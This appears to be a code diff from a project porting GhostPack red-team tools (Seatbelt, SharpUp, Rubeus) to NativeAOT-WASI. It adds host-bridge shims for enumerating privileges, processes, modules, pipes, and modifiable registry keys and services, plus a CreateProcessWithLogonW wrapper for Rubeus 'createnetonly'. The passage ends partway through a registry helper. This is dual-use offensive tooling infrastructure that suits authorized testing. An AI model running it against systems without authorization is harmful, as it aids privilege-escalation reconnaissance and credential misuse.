public static string Combine(string a, string b)
{
if (string.IsNullOrEmpty(a)) return b;
if (string.IsNullOrEmpty(b)) return a;
// If b is rooted (starts with '\' or '/' or 'X:'), return as-is.
if (b.Length > 0 && (b[0] == '\\' || b[0] == '/')) return b;
if (b.Length >= 2 && b[1] == ':') return b;
char last = a[a.Length - 1];
if (last == '\\' || last == '/') return a + b;
return a + "\\" + b;
}
private static int LastSeparatorIndex(string path)
{
int last = -1;
for (int i = path.Length - 1; i >= 0; i--)
{
char c = path[i];
if (c == '\\' || c == '/')
{
last = i;
break;
}
}
return last;
}
}
}
+47
View File
@@ -0,0 +1,47 @@
// WfPipes.cs — Host-bridge replacement for FindFirstFile(\\.\pipe\*)
// which crashes the NativeAOT-WASI bridge due to WIN32_FIND_DATA struct
// marshaling. Routes through env.fs_pipes (host CreateToolhelp32Snapshot-
// alternative via FindFirstFileW on the host side).
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace WasmForge.Bridge
{
public static class WfPipes
{
[DllImport("env", EntryPoint = "fs_pipes")]
private static extern uint fs_pipes(uint bufPtr, uint bufCap, uint countPtr);
/// <summary>Enumerate Windows named pipes via the fs_pipes host bridge.
/// Wire format: NUL-separated UTF-8 names in the output buffer.</summary>
public static List<string> EnumerateNamedPipes()
{
var result = new List<string>();
byte[] buf = new byte[256 * 1024];
uint count = 0;
uint written;
unsafe
{
fixed (byte* p = buf)
{
written = fs_pipes((uint)(IntPtr)p, (uint)buf.Length, (uint)(IntPtr)(&count));
}
}
if (written == 0 || written > buf.Length) return result;
int start = 0;
for (int i = 0; i < (int)written; i++)
{
if (buf[i] == 0)
{
if (i > start)
result.Add(System.Text.Encoding.UTF8.GetString(buf, start, i - start));
start = i + 1;
}
}
return result;
}
}
}
+100
View File
@@ -0,0 +1,100 @@
// WfPrivRights.cs — wraps the env-side priv_rights helper for Seatbelt's
// UserRightAssignmentsCommand. The env helper does the full LSA pipeline
// in host memory (LsaOpenPolicy + LsaEnumerateAccountsWithUserRight +
// ConvertSidToStringSidW) and returns "RightName|sid1,sid2,...\n" entries
// in a flat byte buffer.
//
// See bridge/pinvoke_env_ext.c::priv_rights for the host implementation
// and the LSA bridge test harness at test/lsa-harness/ for the diagnostic
// that proved the host-memory deep-marshal pattern is required.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfPrivRights
{
[DllImport("env", EntryPoint = "priv_rights")]
private static extern uint priv_rights(byte* outBuf, uint outCap, uint* countPtr);
// Enumerate well-known user rights via the env helper. Returns a
// map of right-name → list of SDDL SID strings. Empty if the env
// helper isn't registered or LSA enumeration fails.
public static Dictionary<string, List<string>> Enumerate()
{
var result = new Dictionary<string, List<string>>(StringComparer.OrdinalIgnoreCase);
try
{
var buf = new byte[65536];
uint count = 0;
uint bytes;
fixed (byte* bp = buf)
bytes = priv_rights(bp, (uint)buf.Length, &count);
if (bytes == 0) return result;
string text = Encoding.UTF8.GetString(buf, 0, (int)bytes);
foreach (var line in text.Split('\n'))
{
if (string.IsNullOrEmpty(line)) continue;
int pipe = line.IndexOf('|');
if (pipe <= 0) continue;
string rightName = line.Substring(0, pipe);
string sidsCsv = line.Substring(pipe + 1);
var sids = new List<string>();
if (!string.IsNullOrEmpty(sidsCsv))
{
foreach (var sid in sidsCsv.Split(','))
{
if (!string.IsNullOrEmpty(sid)) sids.Add(sid);
}
}
result[rightName] = sids;
}
}
catch { /* return whatever we parsed */ }
return result;
}
// Return a list of Principal objects for the given privilege. The
// map is what Enumerate() returned; principal resolution piggy-
// backs on WfToken.ResolveWellKnownSid for canonical names and
// falls back to the SDDL form for everything else.
// Type is `dynamic List<Principal>` — we use reflection-free
// construction via the Seatbelt.Interop.Netapi32.Principal type.
// Returns tuples (sid, user, domain) because the Seatbelt Principal
// class is internal. The caller in UserRightAssignmentsCommand
// turns these into Principal instances locally.
public static List<(string Sid, string User, string Domain)> ReadSids(
Dictionary<string, List<string>> map, string rightName)
{
var result = new List<(string, string, string)>();
if (map == null) return result;
if (!map.TryGetValue(rightName, out var sids) || sids == null) return result;
foreach (var sddl in sids)
{
// First try the well-known SID table (covers ~70 canonical
// accounts: BUILTIN\Administrators, NT AUTHORITY\NETWORK
// SERVICE, Everyone, etc). For everything else — domain
// SIDs like S-1-5-21-...-1003 — fall back to WfSec.SidToAccountName
// which calls LookupAccountSidW via the advapi32 bridge.
// Without this fallback, domain SIDs print as raw SDDL in the
// UserRightAssignmentsTextFormatter output.
string accountName = WfToken.ResolveWellKnownSid(sddl);
if (string.IsNullOrEmpty(accountName))
accountName = WfSec.SidToAccountName(sddl);
string user = "", domain = "";
if (!string.IsNullOrEmpty(accountName))
{
int slash = accountName.IndexOf('\\');
if (slash > 0) { domain = accountName.Substring(0, slash); user = accountName.Substring(slash + 1); }
else { user = accountName; }
}
result.Add((sddl, user, domain));
}
return result;
}
}
}
+525
View File
@@ -0,0 +1,525 @@
// WfProc.cs — Host-bridge alternative to System.Diagnostics.Process for
// NativeAOT-WASI. The BCL Process class PNS on this runtime, but SharpUp's
// ProcessDLLHijack just needs (pid, name, [{module path}]) — we route to a
// CreateToolhelp32Snapshot enumeration on the host.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
namespace WasmForge.Bridge
{
public sealed class WfProcModule
{
public string Name { get; set; } = "";
public string FileName { get; set; } = "";
public string ModuleName => Name;
}
public sealed class WfProcess
{
public int Id { get; set; }
public string ProcessName { get; set; } = "";
public List<WfProcModule> ModuleList { get; } = new List<WfProcModule>();
public List<WfProcModule> Modules => ModuleList;
}
public static class WfProc
{
/// <summary>Enumerate all accessible processes with their loaded
/// modules via the host CreateToolhelp32Snapshot bridge. Returns
/// an empty list on non-Windows hosts or if the snapshot fails.</summary>
public static List<WfProcess> GetProcessesWithModules()
{
var result = new List<WfProcess>();
byte[] outBuf = new byte[1024 * 1024]; // 1MB — Windows desktops typically produce ~200KB
uint written;
unsafe
{
fixed (byte* p = outBuf)
{
written = WfHostBridge.ProcModulesAll(p, (uint)outBuf.Length);
}
}
if (written == 0 || written > outBuf.Length) return result;
string raw = System.Text.Encoding.UTF8.GetString(outBuf, 0, (int)written);
// Wire format: pid\tname\tpath\n per line
var byPid = new Dictionary<int, WfProcess>();
foreach (var line in raw.Split('\n'))
{
if (string.IsNullOrEmpty(line)) continue;
var fields = line.Split('\t');
if (fields.Length < 3) continue;
if (!int.TryParse(fields[0], out int pid)) continue;
string name = fields[1];
string path = fields[2];
if (!byPid.TryGetValue(pid, out var proc))
{
proc = new WfProcess { Id = pid, ProcessName = StripExe(name) };
byPid[pid] = proc;
result.Add(proc);
}
proc.ModuleList.Add(new WfProcModule
{
Name = ExtractBasename(path),
FileName = path,
});
}
return result;
}
private static string StripExe(string name)
{
if (string.IsNullOrEmpty(name)) return "";
int dot = name.LastIndexOf('.');
return dot > 0 ? name.Substring(0, dot) : name;
}
private static string ExtractBasename(string path)
{
if (string.IsNullOrEmpty(path)) return "";
int slash = path.LastIndexOfAny(new[] { '\\', '/' });
return slash >= 0 && slash + 1 < path.Length ? path.Substring(slash + 1) : path;
}
// ── Task 2.9: CreateNetOnly ───────────────────────────────────────────
/// <summary>
/// Creates a new process using CreateProcessWithLogonW with network-only
/// credentials (LOGON_NETCREDENTIALS_ONLY). Returns the new process ID on
/// success, or 0 on failure. Used by Rubeus createnetonly.
/// </summary>
// ── Bridge primitives (mod_load / mod_resolve / mod_invoke pattern) ────
[System.Runtime.InteropServices.DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[System.Runtime.InteropServices.DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[System.Runtime.InteropServices.DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
private static uint _kernel32Proc;
private static uint _advapi32Proc;
private static uint _ntdllProc;
private static uint _hVirtualAlloc;
private static uint _hVirtualFree;
private static uint _hCloseHandle;
private static uint _hCreateProcessWithLogonW;
private static uint _hRtlMoveMemory;
private static uint _hRtlZeroMemory;
private static uint ResolveProc(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = System.Text.Encoding.ASCII.GetBytes(dll + "\0");
unsafe { fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp); }
if (cachedLib == 0) return 0;
}
byte[] fb = System.Text.Encoding.ASCII.GetBytes(fn + "\0");
unsafe { fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp); }
return cachedProc;
}
private static ulong InvokeProc(uint proc, uint nargs,
ulong a0=0, ulong a1=0, ulong a2=0, ulong a3=0,
ulong a4=0, ulong a5=0, ulong a6=0, ulong a7=0,
ulong a8=0, ulong a9=0, ulong a10=0)
{
ulong ret1=0, err=0;
unsafe { return mod_invoke((ulong)proc, nargs,
a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,0,0,0,0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err)); }
}
private static bool CopyHostToWasmProc(ulong hostAddr, uint wasmPtr, uint len)
{
if (hostAddr == 0 || wasmPtr == 0 || len == 0) return false;
uint pCopy = ResolveProc("ntdll.dll", ref _ntdllProc, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pCopy == 0) return false;
InvokeProc(pCopy, 3, (ulong)wasmPtr, hostAddr, (ulong)len);
return true;
}
// Build a UTF-16LE string into a managed byte[] including NUL terminator.
private static byte[] ToUtf16(string? s)
{
if (string.IsNullOrEmpty(s)) return new byte[2]; // just NUL
byte[] bytes = new byte[(s!.Length + 1) * 2];
for (int i = 0; i < s.Length; i++)
{
char c = s[i];
bytes[2*i] = (byte)(c & 0xff);
bytes[2*i+1] = (byte)((c >> 8) & 0xff);
}
return bytes;
}
/// <summary>
/// Creates a new process using CreateProcessWithLogonW so the process runs
/// with the supplied network credentials (LOGON_NETCREDENTIALS_ONLY by default).
/// Returns the new process PID on success, or 0 on failure.
///
/// Replaces the deleted proc_create_with_logon Go host bridge.
/// Follows the WfNetapi.cs canonical wf_call pattern.
///
/// STARTUPINFOW (x64, 104 bytes):
/// cb(4)@0, reserved(8)@8, lpDesktop(8)@16, lpTitle(8)@24,
/// dwX(4)@32, dwY(4)@36, dwXSize(4)@40, dwYSize(4)@44,
/// dwXCountChars(4)@48, dwYCountChars(4)@52, dwFillAttribute(4)@56,
/// dwFlags(4)@60, wShowWindow(2)@64, cbReserved2(2)@66, [pad 4]@68,
/// lpReserved2(8)@72, hStdInput(8)@80, hStdOutput(8)@88, hStdError(8)@96
///
/// PROCESS_INFORMATION (24 bytes):
/// hProcess(8)@0, hThread(8)@8, dwProcessId(4)@16, dwThreadId(4)@20
/// </summary>
public static int CreateNetOnly(
string username, string domain, string password,
string? applicationName = null, string? commandLine = null,
int logonFlags = 0)
{
try
{
uint pAlloc = ResolveProc("kernel32.dll", ref _kernel32Proc, "VirtualAlloc", ref _hVirtualAlloc);
uint pFree = ResolveProc("kernel32.dll", ref _kernel32Proc, "VirtualFree", ref _hVirtualFree);
uint pClose = ResolveProc("kernel32.dll", ref _kernel32Proc, "CloseHandle", ref _hCloseHandle);
uint pCreate = ResolveProc("advapi32.dll", ref _advapi32Proc, "CreateProcessWithLogonW", ref _hCreateProcessWithLogonW);
uint pZero = ResolveProc("ntdll.dll", ref _ntdllProc, "RtlZeroMemory", ref _hRtlZeroMemory);
if (pAlloc == 0 || pCreate == 0) return 0;
// Build UTF-16 string args in WASM linear memory.
byte[] userUtf16 = ToUtf16(username);
byte[] domUtf16 = ToUtf16(domain);
byte[] passUtf16 = ToUtf16(password);
byte[] appUtf16 = applicationName != null ? ToUtf16(applicationName) : null!;
byte[] cmdUtf16 = commandLine != null ? ToUtf16(commandLine) : null!;
// Allocate 128 bytes of zeroed host memory: 104 for STARTUPINFOW + 24 for PROCESS_INFORMATION.
const uint STRUCTS_SIZE = 128;
ulong hostStructs = InvokeProc(pAlloc, 4, 0u, STRUCTS_SIZE, 0x3000u, 4u);
if (hostStructs == 0) return 0;
try
{
// Zero the struct area (VirtualAlloc already zeroes but be explicit).
if (pZero != 0) InvokeProc(pZero, 2, hostStructs, STRUCTS_SIZE);
// Write cb = 104 at offset 0 of STARTUPINFOW.
unsafe
{
uint cbVal = 104;
uint pMoveMem = ResolveProc("ntdll.dll", ref _ntdllProc, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pMoveMem != 0)
InvokeProc(pMoveMem, 3, hostStructs, (ulong)(uint)(IntPtr)(&cbVal), 4u);
}
ulong hostPi = hostStructs + 104; // PROCESS_INFORMATION starts at offset 104.
ulong rc;
unsafe
{
fixed (byte* pUser = userUtf16)
fixed (byte* pDom = domUtf16)
fixed (byte* pPass = passUtf16)
{
// Args for CreateProcessWithLogonW:
// 0: lpUsername (WASM ptr → translated to host)
// 1: lpDomain (WASM ptr or 0)
// 2: lpPassword (WASM ptr)
// 3: dwLogonFlags (scalar; LOGON_NETCREDENTIALS_ONLY=2 if caller passes 0)
// 4: lpApplicationName (WASM ptr or 0)
// 5: lpCommandLine (WASM ptr or 0; must be writable)
// 6: dwCreationFlags = 0
// 7: lpEnvironment = 0 (inherit)
// 8: lpCurrentDirectory = 0
// 9: lpStartupInfo = hostStructs (already a host ptr — pass as scalar)
// 10: lpProcessInformation = hostPi (host ptr — pass as scalar)
//
// Note: args 0-2 and 4-5 are WASM ptrs and will be translated by mod_invoke.
// Args 9-10 are host addresses (from VirtualAlloc) — pass as-is (no translation).
uint flags = logonFlags == 0 ? 2u : (uint)logonFlags; // LOGON_NETCREDENTIALS_ONLY
ulong domArg = domUtf16.Length > 2 ? (ulong)(uint)(IntPtr)pDom : 0u;
ulong appArg = (appUtf16 != null && appUtf16.Length > 2)
? (ulong)(uint)(IntPtr)Marshal.UnsafeAddrOfPinnedArrayElement(appUtf16, 0)
: 0u;
ulong cmdArg = (cmdUtf16 != null && cmdUtf16.Length > 2)
? (ulong)(uint)(IntPtr)Marshal.UnsafeAddrOfPinnedArrayElement(cmdUtf16, 0)
: 0u;
// Pin appUtf16/cmdUtf16 if non-null so GC doesn't move them.
var appHandle = appUtf16 != null ? System.Runtime.InteropServices.GCHandle.Alloc(appUtf16, System.Runtime.InteropServices.GCHandleType.Pinned) : default;
var cmdHandle = cmdUtf16 != null ? System.Runtime.InteropServices.GCHandle.Alloc(cmdUtf16, System.Runtime.InteropServices.GCHandleType.Pinned) : default;
try
{
if (appUtf16 != null && appUtf16.Length > 2 && appHandle.IsAllocated)
appArg = (ulong)(uint)(IntPtr)appHandle.AddrOfPinnedObject();
if (cmdUtf16 != null && cmdUtf16.Length > 2 && cmdHandle.IsAllocated)
cmdArg = (ulong)(uint)(IntPtr)cmdHandle.AddrOfPinnedObject();
rc = InvokeProc(pCreate, 11,
(ulong)(uint)(IntPtr)pUser, // 0 lpUsername
domArg, // 1 lpDomain
(ulong)(uint)(IntPtr)pPass, // 2 lpPassword
(ulong)flags, // 3 dwLogonFlags
appArg, // 4 lpApplicationName
cmdArg, // 5 lpCommandLine
0u, // 6 dwCreationFlags
0u, // 7 lpEnvironment (inherit)
0u, // 8 lpCurrentDirectory
hostStructs, // 9 lpStartupInfo (host addr)
hostPi); // 10 lpProcessInformation (host addr)
}
finally
{
if (appHandle.IsAllocated) appHandle.Free();
if (cmdHandle.IsAllocated) cmdHandle.Free();
}
}
}
if (rc == 0) return 0; // CreateProcessWithLogonW failed
// Read PROCESS_INFORMATION from host memory.
// Layout: hProcess(8)@0 + hThread(8)@8 + dwProcessId(4)@16 + dwThreadId(4)@20
byte[] piBytes = new byte[24];
unsafe
{
fixed (byte* pp = piBytes)
CopyHostToWasmProc(hostPi, (uint)(IntPtr)pp, 24);
}
ulong hProcess = (ulong)(piBytes[0]) | ((ulong)piBytes[1] << 8) |
((ulong)piBytes[2] << 16)| ((ulong)piBytes[3] << 24) |
((ulong)piBytes[4] << 32)| ((ulong)piBytes[5] << 40) |
((ulong)piBytes[6] << 48)| ((ulong)piBytes[7] << 56);
ulong hThread = (ulong)(piBytes[8]) | ((ulong)piBytes[9] << 8) |
((ulong)piBytes[10]<< 16)| ((ulong)piBytes[11]<< 24) |
((ulong)piBytes[12]<< 32)| ((ulong)piBytes[13]<< 40) |
((ulong)piBytes[14]<< 48)| ((ulong)piBytes[15]<< 56);
uint pid = (uint)(piBytes[16] | (piBytes[17] << 8) | (piBytes[18] << 16) | (piBytes[19] << 24));
if (pClose != 0)
{
if (hProcess != 0) InvokeProc(pClose, 1, hProcess);
if (hThread != 0) InvokeProc(pClose, 1, hThread);
}
return (int)pid;
}
finally
{
if (pFree != 0) InvokeProc(pFree, 3, hostStructs, 0u, 0x8000u);
}
}
catch
{
return 0;
}
}
// Alias kept for backward compatibility with the old patcher rule that routes to
// WfProc.CreateNetOnlyWin32Bridge(). Delegates to CreateNetOnly.
public static int CreateNetOnlyWin32Bridge(
string username, string domain, string password,
string? applicationName = null, string? commandLine = null,
int logonFlags = 0)
=> CreateNetOnly(username, domain, password, applicationName, commandLine, logonFlags);
// ── Task 1.7 / Phase 3: full 11-arg Win32 signature ───────────────────
// Matches CreateProcessWithLogonW exactly so the patcher can rewrite
// call sites like
// if (!Interop.CreateProcessWithLogonW(username, domain, password,
// 0x00000002, null, commandLine, 4, 0, Environment.CurrentDirectory,
// ref si, out pi))
// to
// if (!WasmForge.Bridge.WfProc.CreateNetOnlyWin32Bridge(...))
// without changing argument count or boolean-negation semantics.
//
// Caller-supplied 'creationFlags' (e.g. CREATE_SUSPENDED=4) and
// 'currentDirectory' are honored. 'si' is currently ignored (host
// allocates a zeroed STARTUPINFOW internally). 'pi' is populated with
// the host PROCESS_INFORMATION; handles are NOT auto-closed so the
// caller can OpenProcessToken / ResumeThread / CloseHandle them.
public static bool CreateNetOnlyWin32Bridge<TStartupInfo, TProcessInfo>(
string username, string domain, string password,
uint logonFlags,
string? applicationName,
string commandLine,
uint creationFlags,
uint environment,
string? currentDirectory,
ref TStartupInfo si,
out TProcessInfo pi)
where TStartupInfo : struct
where TProcessInfo : struct
{
pi = default;
var r = CreateNetOnlyImpl(username, domain, password,
applicationName, commandLine, (int)logonFlags,
(int)creationFlags, currentDirectory);
if (!r.Success) return false;
PopulateProcessInformation(ref pi, r.HProcess, r.HThread, r.Pid, r.Tid);
return true;
}
internal struct CreateNetOnlyResult
{
public bool Success;
public ulong HProcess;
public ulong HThread;
public uint Pid;
public uint Tid;
}
internal static CreateNetOnlyResult CreateNetOnlyImpl(
string username, string domain, string password,
string? applicationName, string? commandLine,
int logonFlags, int creationFlags, string? currentDirectory)
{
var result = new CreateNetOnlyResult();
try
{
uint pAlloc = ResolveProc("kernel32.dll", ref _kernel32Proc, "VirtualAlloc", ref _hVirtualAlloc);
uint pFree = ResolveProc("kernel32.dll", ref _kernel32Proc, "VirtualFree", ref _hVirtualFree);
uint pCreate = ResolveProc("advapi32.dll", ref _advapi32Proc, "CreateProcessWithLogonW", ref _hCreateProcessWithLogonW);
uint pZero = ResolveProc("ntdll.dll", ref _ntdllProc, "RtlZeroMemory", ref _hRtlZeroMemory);
if (pAlloc == 0 || pCreate == 0) return result;
byte[] userUtf16 = ToUtf16(username);
byte[] domUtf16 = ToUtf16(domain ?? string.Empty);
byte[] passUtf16 = ToUtf16(password);
byte[] appUtf16 = applicationName != null ? ToUtf16(applicationName) : null!;
byte[] cmdUtf16 = commandLine != null ? ToUtf16(commandLine) : null!;
byte[] cwdUtf16 = currentDirectory != null ? ToUtf16(currentDirectory) : null!;
const uint STRUCTS_SIZE = 128;
ulong hostStructs = InvokeProc(pAlloc, 4, 0u, STRUCTS_SIZE, 0x3000u, 4u);
if (hostStructs == 0) return result;
try
{
if (pZero != 0) InvokeProc(pZero, 2, hostStructs, STRUCTS_SIZE);
unsafe
{
uint cbVal = 104;
uint pMoveMem = ResolveProc("ntdll.dll", ref _ntdllProc, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pMoveMem != 0)
InvokeProc(pMoveMem, 3, hostStructs, (ulong)(uint)(IntPtr)(&cbVal), 4u);
}
ulong hostPi = hostStructs + 104;
ulong rc;
unsafe
{
fixed (byte* pUser = userUtf16)
fixed (byte* pDom = domUtf16)
fixed (byte* pPass = passUtf16)
fixed (byte* pCwd = cwdUtf16)
{
uint flags = logonFlags == 0 ? 2u : (uint)logonFlags;
ulong domArg = domUtf16.Length > 2 ? (ulong)(uint)(IntPtr)pDom : 0u;
ulong appArg = (appUtf16 != null && appUtf16.Length > 2)
? (ulong)(uint)(IntPtr)Marshal.UnsafeAddrOfPinnedArrayElement(appUtf16, 0)
: 0u;
ulong cmdArg = (cmdUtf16 != null && cmdUtf16.Length > 2)
? (ulong)(uint)(IntPtr)Marshal.UnsafeAddrOfPinnedArrayElement(cmdUtf16, 0)
: 0u;
ulong cwdArg = (cwdUtf16 != null && cwdUtf16.Length > 2)
? (ulong)(uint)(IntPtr)pCwd
: 0u;
var appHandle = appUtf16 != null ? System.Runtime.InteropServices.GCHandle.Alloc(appUtf16, System.Runtime.InteropServices.GCHandleType.Pinned) : default;
var cmdHandle = cmdUtf16 != null ? System.Runtime.InteropServices.GCHandle.Alloc(cmdUtf16, System.Runtime.InteropServices.GCHandleType.Pinned) : default;
try
{
if (appUtf16 != null && appUtf16.Length > 2 && appHandle.IsAllocated)
appArg = (ulong)(uint)(IntPtr)appHandle.AddrOfPinnedObject();
if (cmdUtf16 != null && cmdUtf16.Length > 2 && cmdHandle.IsAllocated)
cmdArg = (ulong)(uint)(IntPtr)cmdHandle.AddrOfPinnedObject();
rc = InvokeProc(pCreate, 11,
(ulong)(uint)(IntPtr)pUser,
domArg,
(ulong)(uint)(IntPtr)pPass,
(ulong)flags,
appArg,
cmdArg,
(ulong)(uint)creationFlags,
0u,
cwdArg,
hostStructs,
hostPi);
}
finally
{
if (appHandle.IsAllocated) appHandle.Free();
if (cmdHandle.IsAllocated) cmdHandle.Free();
}
}
}
if (rc == 0) return result;
byte[] piBytes = new byte[24];
unsafe
{
fixed (byte* pp = piBytes)
CopyHostToWasmProc(hostPi, (uint)(IntPtr)pp, 24);
}
result.HProcess = (ulong)(piBytes[0]) | ((ulong)piBytes[1] << 8) |
((ulong)piBytes[2] << 16) | ((ulong)piBytes[3] << 24) |
((ulong)piBytes[4] << 32) | ((ulong)piBytes[5] << 40) |
((ulong)piBytes[6] << 48) | ((ulong)piBytes[7] << 56);
result.HThread = (ulong)(piBytes[8]) | ((ulong)piBytes[9] << 8) |
((ulong)piBytes[10]<< 16) | ((ulong)piBytes[11]<< 24) |
((ulong)piBytes[12]<< 32) | ((ulong)piBytes[13]<< 40) |
((ulong)piBytes[14]<< 48) | ((ulong)piBytes[15]<< 56);
result.Pid = (uint)(piBytes[16] | (piBytes[17] << 8) | (piBytes[18] << 16) | (piBytes[19] << 24));
result.Tid = (uint)(piBytes[20] | (piBytes[21] << 8) | (piBytes[22] << 16) | (piBytes[23] << 24));
result.Success = true;
return result;
}
finally
{
if (pFree != 0) InvokeProc(pFree, 3, hostStructs, 0u, 0x8000u);
}
}
catch
{
return result;
}
}
// Populate a caller-defined PROCESS_INFORMATION struct without
// reflection. We can't reference the exact Rubeus / Seatbelt types
// directly because each tool defines its own. Layout assumed (wasm32):
// hProcess(IntPtr/4B) @0 + hThread(IntPtr/4B) @4 +
// dwProcessId(int/4B) @8 + dwThreadId(int/4B) @12
// Host handles can exceed 32 bits but Windows process/thread handles
// are typically small integers — narrowing here is acceptable for
// createnetonly's downstream consumers.
private static unsafe void PopulateProcessInformation<TProcessInfo>(
ref TProcessInfo pi, ulong hProcess, ulong hThread, uint pid, uint tid)
where TProcessInfo : struct
{
// Pin pi via fixed-pointer access through a span over Unsafe.As bytes.
ref byte piBase = ref System.Runtime.CompilerServices.Unsafe.As<TProcessInfo, byte>(ref pi);
fixed (byte* p = &piBase)
{
*(uint*)(p + 0) = (uint)hProcess;
*(uint*)(p + 4) = (uint)hThread;
*(int*)(p + 8) = (int)pid;
*(int*)(p + 12) = (int)tid;
}
}
}
}
+104
View File
@@ -0,0 +1,104 @@
// WfReg.cs — Win32 registry security helpers backed by wasmforge host functions.
//
// Replaces .NET BCL patterns that require WindowsIdentity / NTAccount /
// RegistrySecurity (all PNS under NativeAOT-WASI) with host-side ACL checks
// using the calling process's primary token.
//
// The host's reg_modifiable function calls RegOpenKeyEx with KEY_SET_VALUE |
// KEY_CREATE_SUB_KEY. If that succeeds, the current token has at least one
// form of write access to the key — which is what SharpUp.IsModifiableKey
// determines by parsing the DACL and comparing against identity.Groups.
// Both approaches yield the same boolean answer, but the host bridge needs
// neither WindowsIdentity nor RegistryAccessRule / RegistryRights.
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfReg
{
[DllImport("env", EntryPoint = "reg_modifiable")]
private static extern uint reg_modifiable(uint hive, uint pathPtr, uint pathLen);
private const uint HIVE_HKLM = 0;
private const uint HIVE_HKCU = 1;
private const uint HIVE_HKU = 2;
public static bool IsModifiableLocalMachineKey(string path)
{
return Modifiable(HIVE_HKLM, path);
}
public static bool IsModifiableCurrentUserKey(string path)
{
return Modifiable(HIVE_HKCU, path);
}
private static bool Modifiable(uint hive, string path)
{
if (string.IsNullOrEmpty(path)) return false;
byte[] pb = Encoding.UTF8.GetBytes(path);
fixed (byte* pp = pb)
{
return reg_modifiable(hive, (uint)(IntPtr)pp, (uint)pb.Length) != 0;
}
}
[DllImport("env", EntryPoint = "sc_modifiable")]
private static extern uint sc_modifiable(uint namePtr, uint nameLen);
/// <summary>Returns true if the calling token has SERVICE_CHANGE_CONFIG
/// (or any other modify right) on the named service.</summary>
public static bool IsModifiableService(string name)
{
if (string.IsNullOrEmpty(name)) return false;
byte[] nb = Encoding.UTF8.GetBytes(name);
fixed (byte* np = nb)
{
return sc_modifiable((uint)(IntPtr)np, (uint)nb.Length) != 0;
}
}
[DllImport("env", EntryPoint = "proc_modules")]
private static extern uint proc_modules(uint pid, uint outBufPtr, uint outBufLen);
public sealed class ProcessModuleInfo
{
public string Name { get; set; }
public string FileName { get; set; }
}
/// <summary>Enumerates loaded modules for a process by PID. Replaces
/// process.Modules (PNS under NativeAOT-WASI). Uses EnumProcessModulesEx
/// on the host side. Returns null if access denied.</summary>
public static System.Collections.Generic.List<ProcessModuleInfo> EnumProcessModules(uint pid)
{
byte[] buf = new byte[256 * 1024];
uint written;
fixed (byte* bp = buf)
{
written = proc_modules(pid, (uint)(IntPtr)bp, (uint)buf.Length);
}
if (written == 0 || written > buf.Length) return null;
string json = System.Text.Encoding.UTF8.GetString(buf, 0, (int)written);
try
{
using var doc = System.Text.Json.JsonDocument.Parse(json);
var list = new System.Collections.Generic.List<ProcessModuleInfo>();
if (doc.RootElement.ValueKind != System.Text.Json.JsonValueKind.Array) return list;
foreach (var entry in doc.RootElement.EnumerateArray())
{
string name = "";
string fileName = "";
if (entry.TryGetProperty("Name", out var n)) name = n.GetString() ?? "";
if (entry.TryGetProperty("FileName", out var f)) fileName = f.GetString() ?? "";
list.Add(new ProcessModuleInfo { Name = name, FileName = fileName });
}
return list;
}
catch { return null; }
}
}
}
+322
View File
@@ -0,0 +1,322 @@
// WfRegistry.cs — managed registry-read helper backed by the wasmforge host.
//
// NativeAOT-WASI ships without a working Microsoft.Win32.RegistryKey
// implementation — every call to RegistryKey.OpenBaseKey throws
// `PlatformNotSupportedException: Registry is not supported on this
// platform`. That breaks ~20 GhostPack/Seatbelt commands that read the
// registry to enumerate values (LSASettings, InternetSettings, AutoRuns,
// AntiVirus, AppLocker, AuditPolicyRegistry, CredGuard, DotNet, …).
//
// WasmForge's host already exposes a registry enumerator as the
// `reg_enumvals` env-import (see internal/hostmod/nativeaot_security_windows.go).
// This helper wraps that import in a managed C# API that matches the
// shape Seatbelt's RegistryUtil expects: `EnumValues(hive, path) →
// Dictionary<string, object>`.
//
// Host wire format (parsed below):
//
// record := name "\t" type "\t" value "\0"
// names: arbitrary unicode (UTF-8 on the wire)
// types: REG_SZ | REG_EXPAND_SZ | REG_DWORD | REG_QWORD | REG_MULTI_SZ |
// REG_BINARY | REG_<n>
// values:
// REG_SZ / REG_EXPAND_SZ — plain string
// REG_DWORD — decimal integer as string
// REG_QWORD — decimal integer as string
// REG_MULTI_SZ — '|' separated entries
// REG_BINARY — hex digits (max 64 bytes)
// other — "<binary N bytes>"
//
// The helper returns each value typed approximately as the BCL would have:
// strings as System.String, DWORDs as System.Int32, QWORDs as System.Int64,
// MULTI_SZ as String[], BINARY as Byte[], anything else as the raw string.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
namespace WasmForge.Helpers
{
public static unsafe class WfRegistry
{
// reg_enumvals: hive_ptr → uint32 hive value at that pointer,
// path_ptr/len → UTF-8 path bytes, out_buf → host writes records.
[DllImport("env", EntryPoint = "reg_enumvals")]
private static extern uint reg_enumvals(uint hivePtr, uint pathPtr, uint pathLen,
uint outBufPtr, uint outBufLen);
// Maps RegistryHive enum values to the Win32 HKEY_* constants the host expects.
private static uint HiveToHkey(RegistryHive hive)
{
switch (hive)
{
case RegistryHive.ClassesRoot: return 0x80000000u;
case RegistryHive.CurrentUser: return 0x80000001u;
case RegistryHive.LocalMachine: return 0x80000002u;
case RegistryHive.Users: return 0x80000003u;
